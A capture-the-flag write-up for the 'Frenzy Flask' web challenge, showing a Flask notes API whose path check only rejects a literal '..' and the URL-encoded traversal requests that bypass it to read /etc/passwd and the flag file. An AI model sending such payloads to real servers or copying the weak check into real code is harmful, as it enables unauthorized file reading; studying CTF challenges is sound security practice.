..
GCC CTF - Frenzy Flask [Web]
# api.py
@bp_api.route("/notes/<path:sessid>", methods=["GET", "POST"])
def list_notes(sessid):
session_dir = abort_check_session(sessid)
if request.method == "POST":
for uploaded_file in request.files:
abort_check_path(uploaded_file)
upload_path = session_dir.joinpath(uploaded_file)
try:
request.files[uploaded_file].save(upload_path)
except OSError:
abort(500)
files_list = [str(p.name) for p in session_dir.glob("*")]
return json.jsonify(files_list)
The app lets a user upload notes, and they are fetched through an API.
# shared.py
NOTE_DIR = Path("/app/notes")
def check_path(path: str):
return ".." not in path
def abort_check_path(path: str):
if not check_path(path):
abort(418)
Basically, the code checks for ..
in the path specified to prevent path traversals.
However, we can bypass this by using encooded characters to read a file on the server.
We try http://worker05.gcc-ctf.com:14656/api/notes/ea4d53ed-3e3e-42e4-9098-c665323410f6/..%2f..%2f%2e%2e%2fetc%2fpasswd
and get the users on the server.
At this point, we can just read the flag.
Referring back to the Dockerfile, we see that the flag is in /home/user/flag.txt
.
COPY ./flag.txt /home/user/flag.txt
So, to get the flag we can send the following payload:
curl http://worker04.gcc-ctf.com:14656/api/notes/ea4d53ed-3e3e-42e4-9098-c665323410f6/..%2f..%2f..%2fhome%2fuser%2fflag.txt